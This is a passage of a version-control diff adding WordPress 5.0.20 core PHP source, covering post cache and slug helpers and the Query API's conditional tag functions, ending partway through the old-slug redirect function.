+	$old_posts = $wpdb->get_col( "SELECT ID FROM $wpdb->posts WHERE post_status = 'auto-draft' AND DATE_SUB( NOW(), INTERVAL 7 DAY ) > post_date" );
+	foreach ( (array) $old_posts as $delete ) {
+		// Force delete.
+		wp_delete_post( $delete, true );
+	}
+}
+
+/**
+ * Queues posts for lazy-loading of term meta.
+ *
+ * @since 4.5.0
+ *
+ * @param array $posts Array of WP_Post objects.
+ */
+function wp_queue_posts_for_term_meta_lazyload( $posts ) {
+	$post_type_taxonomies = $term_ids = array();
+	foreach ( $posts as $post ) {
+		if ( ! ( $post instanceof WP_Post ) ) {
+			continue;
+		}
+
+		if ( ! isset( $post_type_taxonomies[ $post->post_type ] ) ) {
+			$post_type_taxonomies[ $post->post_type ] = get_object_taxonomies( $post->post_type );
+		}
+
+		foreach ( $post_type_taxonomies[ $post->post_type ] as $taxonomy ) {
+			// Term cache should already be primed by `update_post_term_cache()`.
+			$terms = get_object_term_cache( $post->ID, $taxonomy );
+			if ( false !== $terms ) {
+				foreach ( $terms as $term ) {
+					if ( ! isset( $term_ids[ $term->term_id ] ) ) {
+						$term_ids[] = $term->term_id;
+					}
+				}
+			}
+		}
+	}
+
+	if ( $term_ids ) {
+		$lazyloader = wp_metadata_lazyloader();
+		$lazyloader->queue_objects( 'term', $term_ids );
+	}
+}
+
+/**
+ * Update the custom taxonomies' term counts when a post's status is changed.
+ *
+ * For example, default posts term counts (for custom taxonomies) don't include
+ * private / draft posts.
+ *
+ * @since 3.3.0
+ * @access private
+ *
+ * @param string  $new_status New post status.
+ * @param string  $old_status Old post status.
+ * @param WP_Post $post       Post object.
+ */
+function _update_term_count_on_transition_post_status( $new_status, $old_status, $post ) {
+	// Update counts for the post's terms.
+	foreach ( (array) get_object_taxonomies( $post->post_type ) as $taxonomy ) {
+		$tt_ids = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'tt_ids' ) );
+		wp_update_term_count( $tt_ids, $taxonomy );
+	}
+}
+
+/**
+ * Adds any posts from the given ids to the cache that do not already exist in cache
+ *
+ * @since 3.4.0
+ * @access private
+ *
+ * @see update_post_caches()
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array $ids               ID list.
+ * @param bool  $update_term_cache Optional. Whether to update the term cache. Default true.
+ * @param bool  $update_meta_cache Optional. Whether to update the meta cache. Default true.
+ */
+function _prime_post_caches( $ids, $update_term_cache = true, $update_meta_cache = true ) {
+	global $wpdb;
+
+	$non_cached_ids = _get_non_cached_ids( $ids, 'posts' );
+	if ( !empty( $non_cached_ids ) ) {
+		$fresh_posts = $wpdb->get_results( sprintf( "SELECT $wpdb->posts.* FROM $wpdb->posts WHERE ID IN (%s)", join( ",", $non_cached_ids ) ) );
+
+		update_post_caches( $fresh_posts, 'any', $update_term_cache, $update_meta_cache );
+	}
+}
+
+/**
+ * Adds a suffix if any trashed posts have a given slug.
+ *
+ * Store its desired (i.e. current) slug so it can try to reclaim it
+ * if the post is untrashed.
+ *
+ * For internal use.
+ *
+ * @since 4.5.0
+ * @access private
+ *
+ * @param string $post_name Slug.
+ * @param string $post_ID   Optional. Post ID that should be ignored. Default 0.
+ */
+function wp_add_trashed_suffix_to_post_name_for_trashed_posts( $post_name, $post_ID = 0 ) {
+	$trashed_posts_with_desired_slug = get_posts( array(
+		'name' => $post_name,
+		'post_status' => 'trash',
+		'post_type' => 'any',
+		'nopaging' => true,
+		'post__not_in' => array( $post_ID )
+	) );
+
+	if ( ! empty( $trashed_posts_with_desired_slug ) ) {
+		foreach ( $trashed_posts_with_desired_slug as $_post ) {
+			wp_add_trashed_suffix_to_post_name_for_post( $_post );
+		}
+	}
+}
+
+/**
+ * Adds a trashed suffix for a given post.
+ *
+ * Store its desired (i.e. current) slug so it can try to reclaim it
+ * if the post is untrashed.
+ *
+ * For internal use.
+ *
+ * @since 4.5.0
+ * @access private
+ *
+ * @param WP_Post $post The post.
+ * @return string New slug for the post.
+ */
+function wp_add_trashed_suffix_to_post_name_for_post( $post ) {
+	global $wpdb;
+
+	$post = get_post( $post );
+
+	if ( '__trashed' === substr( $post->post_name, -9 ) ) {
+		return $post->post_name;
+	}
+	add_post_meta( $post->ID, '_wp_desired_post_slug', $post->post_name );
+	$post_name = _truncate_post_slug( $post->post_name, 191 ) . '__trashed';
+	$wpdb->update( $wpdb->posts, array( 'post_name' => $post_name ), array( 'ID' => $post->ID ) );
+	clean_post_cache( $post->ID );
+	return $post_name;
+}
+
+/**
+ * Sets the last changed time for the 'posts' cache group.
+ *
+ * @since 5.0.0
+ */
+function wp_cache_set_posts_last_changed() {
+	wp_cache_set( 'last_changed', microtime(), 'posts' );
+}
Index: /tags/5.0.20/src/wp-includes/query.php
===================================================================
--- /tags/5.0.20/src/wp-includes/query.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/query.php	(revision 56912)
@@ -0,0 +1,1111 @@
+<?php
+/**
+ * WordPress Query API
+ *
+ * The query API attempts to get which part of WordPress the user is on. It
+ * also provides functionality for getting URL query information.
+ *
+ * @link https://codex.wordpress.org/The_Loop More information on The Loop.
+ *
+ * @package WordPress
+ * @subpackage Query
+ */
+
+/**
+ * Retrieve variable in the WP_Query class.
+ *
+ * @since 1.5.0
+ * @since 3.9.0 The `$default` argument was introduced.
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @param string $var       The variable key to retrieve.
+ * @param mixed  $default   Optional. Value to return if the query variable is not set. Default empty.
+ * @return mixed Contents of the query variable.
+ */
+function get_query_var( $var, $default = '' ) {
+	global $wp_query;
+	return $wp_query->get( $var, $default );
+}
+
+/**
+ * Retrieve the currently-queried object.
+ *
+ * Wrapper for WP_Query::get_queried_object().
+ *
+ * @since 3.1.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @return object Queried object.
+ */
+function get_queried_object() {
+	global $wp_query;
+	return $wp_query->get_queried_object();
+}
+
+/**
+ * Retrieve ID of the current queried object.
+ *
+ * Wrapper for WP_Query::get_queried_object_id().
+ *
+ * @since 3.1.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @return int ID of the queried object.
+ */
+function get_queried_object_id() {
+	global $wp_query;
+	return $wp_query->get_queried_object_id();
+}
+
+/**
+ * Set query variable.
+ *
+ * @since 2.2.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @param string $var   Query variable key.
+ * @param mixed  $value Query variable value.
+ */
+function set_query_var( $var, $value ) {
+	global $wp_query;
+	$wp_query->set( $var, $value );
+}
+
+/**
+ * Sets up The Loop with query parameters.
+ *
+ * Note: This function will completely override the main query and isn't intended for use
+ * by plugins or themes. Its overly-simplistic approach to modifying the main query can be
+ * problematic and should be avoided wherever possible. In most cases, there are better,
+ * more performant options for modifying the main query such as via the {@see 'pre_get_posts'}
+ * action within WP_Query.
+ *
+ * This must not be used within the WordPress Loop.
+ *
+ * @since 1.5.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @param array|string $query Array or string of WP_Query arguments.
+ * @return array List of post objects.
+ */
+function query_posts($query) {
+	$GLOBALS['wp_query'] = new WP_Query();
+	return $GLOBALS['wp_query']->query($query);
+}
+
+/**
+ * Destroys the previous query and sets up a new query.
+ *
+ * This should be used after query_posts() and before another query_posts().
+ * This will remove obscure bugs that occur when the previous WP_Query object
+ * is not destroyed properly before another is set up.
+ *
+ * @since 2.3.0
+ *
+ * @global WP_Query $wp_query     Global WP_Query instance.
+ * @global WP_Query $wp_the_query Copy of the global WP_Query instance created during wp_reset_query().
+ */
+function wp_reset_query() {
+	$GLOBALS['wp_query'] = $GLOBALS['wp_the_query'];
+	wp_reset_postdata();
+}
+
+/**
+ * After looping through a separate query, this function restores
+ * the $post global to the current post in the main query.
+ *
+ * @since 3.0.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ */
+function wp_reset_postdata() {
+	global $wp_query;
+
+	if ( isset( $wp_query ) ) {
+		$wp_query->reset_postdata();
+	}
+}
+
+/*
+ * Query type checks.
+ */
+
+/**
+ * Determines whether the query is for an existing archive page.
+ *
+ * Month, Year, Category, Author, Post Type archive...
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @since 1.5.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @return bool
+ */
+function is_archive() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
+		return false;
+	}
+
+	return $wp_query->is_archive();
+}
+
+/**
+ * Determines whether the query is for an existing post type archive page.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @since 3.1.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @param string|array $post_types Optional. Post type or array of posts types to check against.
+ * @return bool
+ */
+function is_post_type_archive( $post_types = '' ) {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
+		return false;
+	}
+
+	return $wp_query->is_post_type_archive( $post_types );
+}
+
+/**
+ * Determines whether the query is for an existing attachment page.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @since 2.0.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @param int|string|array|object $attachment Attachment ID, title, slug, or array of such.
+ * @return bool
+ */
+function is_attachment( $attachment = '' ) {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
+		return false;
+	}
+
+	return $wp_query->is_attachment( $attachment );
+}
+
+/**
+ * Determines whether the query is for an existing author archive page.
+ *
+ * If the $author parameter is specified, this function will additionally
+ * check if the query is for one of the authors specified.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @since 1.5.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @param mixed $author Optional. User ID, nickname, nicename, or array of User IDs, nicknames, and nicenames
+ * @return bool
+ */
+function is_author( $author = '' ) {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
+		return false;
+	}
+
+	return $wp_query->is_author( $author );
+}
+
+/**
+ * Determines whether the query is for an existing category archive page.
+ *
+ * If the $category parameter is specified, this function will additionally
+ * check if the query is for one of the categories specified.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @since 1.5.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @param mixed $category Optional. Category ID, name, slug, or array of Category IDs, names, and slugs.
+ * @return bool
+ */
+function is_category( $category = '' ) {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
+		return false;
+	}
+
+	return $wp_query->is_category( $category );
+}
+
+/**
+ * Determines whether the query is for an existing tag archive page.
+ *
+ * If the $tag parameter is specified, this function will additionally
+ * check if the query is for one of the tags specified.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ *
+ * @since 2.3.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @param mixed $tag Optional. Tag ID, name, slug, or array of Tag IDs, names, and slugs.
+ * @return bool
+ */
+function is_tag( $tag = '' ) {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
+		return false;
+	}
+
+	return $wp_query->is_tag( $tag );
+}
+
+/**
+ * Determines whether the query is for an existing custom taxonomy archive page.
+ *
+ * If the $taxonomy parameter is specified, this function will additionally
+ * check if the query is for that specific $taxonomy.
+ *
+ * If the $term parameter is specified in addition to the $taxonomy parameter,
+ * this function will additionally check if the query is for one of the terms
+ * specified.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ *
+ * @since 2.5.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @param string|array     $taxonomy Optional. Taxonomy slug or slugs.
+ * @param int|string|array $term     Optional. Term ID, name, slug or array of Term IDs, names, and slugs.
+ * @return bool True for custom taxonomy archive pages, false for built-in taxonomies (category and tag archives).
+ */
+function is_tax( $taxonomy = '', $term = '' ) {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
+		return false;
+	}
+
+	return $wp_query->is_tax( $taxonomy, $term );
+}
+
+/**
+ * Determines whether the query is for an existing date archive.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @since 1.5.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @return bool
+ */
+function is_date() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
+		return false;
+	}
+
+	return $wp_query->is_date();
+}
+
+/**
+ * Determines whether the query is for an existing day archive.
+ *
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
+ * Conditional Tags} article in the Theme Developer Handbook.
+ *
+ * @since 1.5.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @return bool
+ */
+function is_day() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
+		return false;
+	}
+
+	return $wp_query->is_day();
+}
+
+/**
+ * Determines whether the query is for a feed.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @since 1.5.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @param string|array $feeds Optional feed types to check.
+ * @return bool
+ */
+function is_feed( $feeds = '' ) {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
+		return false;
+	}
+
+	return $wp_query->is_feed( $feeds );
+}
+
+/**
+ * Is the query for a comments feed?
+ *
+ * @since 3.0.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @return bool
+ */
+function is_comment_feed() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
+		return false;
+	}
+
+	return $wp_query->is_comment_feed();
+}
+
+/**
+ * Determines whether the query is for the front page of the site.
+ *
+ * This is for what is displayed at your site's main URL.
+ *
+ * Depends on the site's "Front page displays" Reading Settings 'show_on_front' and 'page_on_front'.
+ *
+ * If you set a static page for the front page of your site, this function will return
+ * true when viewing that page.
+ *
+ * Otherwise the same as @see is_home()
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @since 2.5.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @return bool True, if front of site.
+ */
+function is_front_page() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
+		return false;
+	}
+
+	return $wp_query->is_front_page();
+}
+
+/**
+ * Determines whether the query is for the blog homepage.
+ *
+ * The blog homepage is the page that shows the time-based blog content of the site.
+ *
+ * is_home() is dependent on the site's "Front page displays" Reading Settings 'show_on_front'
+ * and 'page_for_posts'.
+ *
+ * If a static page is set for the front page of the site, this function will return true only
+ * on the page you set as the "Posts page".
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @since 1.5.0
+ *
+ * @see is_front_page()
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @return bool True if blog view homepage, otherwise false.
+ */
+function is_home() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
+		return false;
+	}
+
+	return $wp_query->is_home();
+}
+
+/**
+ * Determines whether the query is for an existing month archive.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @since 1.5.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @return bool
+ */
+function is_month() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
+		return false;
+	}
+
+	return $wp_query->is_month();
+}
+
+/**
+ * Determines whether the query is for an existing single page.
+ *
+ * If the $page parameter is specified, this function will additionally
+ * check if the query is for one of the pages specified.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @see is_single()
+ * @see is_singular()
+ *
+ * @since 1.5.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @param int|string|array $page Optional. Page ID, title, slug, or array of such. Default empty.
+ * @return bool Whether the query is for an existing single page.
+ */
+function is_page( $page = '' ) {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
+		return false;
+	}
+
+	return $wp_query->is_page( $page );
+}
+
+/**
+ * Determines whether the query is for paged results and not for the first page.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @since 1.5.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @return bool
+ */
+function is_paged() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
+		return false;
+	}
+
+	return $wp_query->is_paged();
+}
+
+/**
+ * Determines whether the query is for a post or page preview.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @since 2.0.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @return bool
+ */
+function is_preview() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
+		return false;
+	}
+
+	return $wp_query->is_preview();
+}
+
+/**
+ * Is the query for the robots file?
+ *
+ * @since 2.1.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @return bool
+ */
+function is_robots() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
+		return false;
+	}
+
+	return $wp_query->is_robots();
+}
+
+/**
+ * Determines whether the query is for a search.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @since 1.5.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @return bool
+ */
+function is_search() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
+		return false;
+	}
+
+	return $wp_query->is_search();
+}
+
+/**
+ * Determines whether the query is for an existing single post.
+ *
+ * Works for any post type, except attachments and pages
+ *
+ * If the $post parameter is specified, this function will additionally
+ * check if the query is for one of the Posts specified.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @see is_page()
+ * @see is_singular()
+ *
+ * @since 1.5.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @param int|string|array $post Optional. Post ID, title, slug, or array of such. Default empty.
+ * @return bool Whether the query is for an existing single post.
+ */
+function is_single( $post = '' ) {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
+		return false;
+	}
+
+	return $wp_query->is_single( $post );
+}
+
+/**
+ * Determines whether the query is for an existing single post of any post type
+ * (post, attachment, page, custom post types).
+ *
+ * If the $post_types parameter is specified, this function will additionally
+ * check if the query is for one of the Posts Types specified.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @see is_page()
+ * @see is_single()
+ *
+ * @since 1.5.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @param string|array $post_types Optional. Post type or array of post types. Default empty.
+ * @return bool Whether the query is for an existing single post of any of the given post types.
+ */
+function is_singular( $post_types = '' ) {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
+		return false;
+	}
+
+	return $wp_query->is_singular( $post_types );
+}
+
+/**
+ * Determines whether the query is for a specific time.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ *
+ * @since 1.5.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @return bool
+ */
+function is_time() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
+		return false;
+	}
+
+	return $wp_query->is_time();
+}
+
+/**
+ * Determines whether the query is for a trackback endpoint call.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ *
+ * @since 1.5.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @return bool
+ */
+function is_trackback() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
+		return false;
+	}
+
+	return $wp_query->is_trackback();
+}
+
+/**
+ * Determines whether the query is for an existing year archive.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ *
+ * @since 1.5.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @return bool
+ */
+function is_year() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
+		return false;
+	}
+
+	return $wp_query->is_year();
+}
+
+/**
+ * Determines whether the query has resulted in a 404 (returns no results).
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @since 1.5.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @return bool
+ */
+function is_404() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
+		return false;
+	}
+
+	return $wp_query->is_404();
+}
+
+/**
+ * Is the query for an embedded post?
+ *
+ * @since 4.4.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @return bool Whether we're in an embedded post or not.
+ */
+function is_embed() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
+		return false;
+	}
+
+	return $wp_query->is_embed();
+}
+
+/**
+ * Determines whether the query is the main query.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @since 3.3.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @return bool
+ */
+function is_main_query() {
+	if ( 'pre_get_posts' === current_filter() ) {
+		$message = sprintf(
+			/* translators: 1: pre_get_posts 2: WP_Query->is_main_query() 3: is_main_query() 4: link to codex is_main_query() page. */
+			__( 'In %1$s, use the %2$s method, not the %3$s function. See %4$s.' ),
+			'<code>pre_get_posts</code>',
+			'<code>WP_Query->is_main_query()</code>',
+			'<code>is_main_query()</code>',
+			__( 'https://codex.wordpress.org/Function_Reference/is_main_query' )
+		);
+		_doing_it_wrong( __FUNCTION__, $message, '3.7.0' );
+	}
+
+	global $wp_query;
+	return $wp_query->is_main_query();
+}
+
+/*
+ * The Loop. Post loop control.
+ */
+
+/**
+ * Whether current WordPress query has results to loop over.
+ *
+ * @since 1.5.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @return bool
+ */
+function have_posts() {
+	global $wp_query;
+	return $wp_query->have_posts();
+}
+
+/**
+ * Determines whether the caller is in the Loop.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ *
+ * @since 2.0.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @return bool True if caller is within loop, false if loop hasn't started or ended.
+ */
+function in_the_loop() {
+	global $wp_query;
+	return $wp_query->in_the_loop;
+}
+
+/**
+ * Rewind the loop posts.
+ *
+ * @since 1.5.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ */
+function rewind_posts() {
+	global $wp_query;
+	$wp_query->rewind_posts();
+}
+
+/**
+ * Iterate the post index in the loop.
+ *
+ * @since 1.5.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ */
+function the_post() {
+	global $wp_query;
+	$wp_query->the_post();
+}
+
+/*
+ * Comments loop.
+ */
+
+/**
+ * Whether there are comments to loop over.
+ *
+ * @since 2.2.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @return bool
+ */
+function have_comments() {
+	global $wp_query;
+	return $wp_query->have_comments();
+}
+
+/**
+ * Iterate comment index in the comment loop.
+ *
+ * @since 2.2.0
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @return object
+ */
+function the_comment() {
+	global $wp_query;
+	return $wp_query->the_comment();
+}
+
+/**
+ * Redirect old slugs to the correct permalink.
+ *
+ * Attempts to find the current slug from the past slugs.
+ *
+ * @since 2.1.0
+ */
+function wp_old_slug_redirect() {
+	if ( is_404() && '' !== get_query_var( 'name' ) ) {
+		// Guess the current post_type based on the query vars.
+		if ( get_query_var( 'post_type' ) ) {
+			$post_type = get_query_var( 'post_type' );
+		} elseif ( get_query_var( 'attachment' ) ) {
+			$post_type = 'attachment';
+		} elseif ( get_query_var( 'pagename' ) ) {
+			$post_type = 'page';
+		} else {
+			$post_type = 'post';
+		}
+
+		if ( is_array( $post_type ) ) {
+			if ( count( $post_type ) > 1 ) {
+				return;
+			}
+			$post_type = reset( $post_type );
+		}
+
+		// Do not attempt redirect for hierarchical post types
+		if ( is_post_type_hierarchical( $post_type ) ) {
+			return;
+		}
+
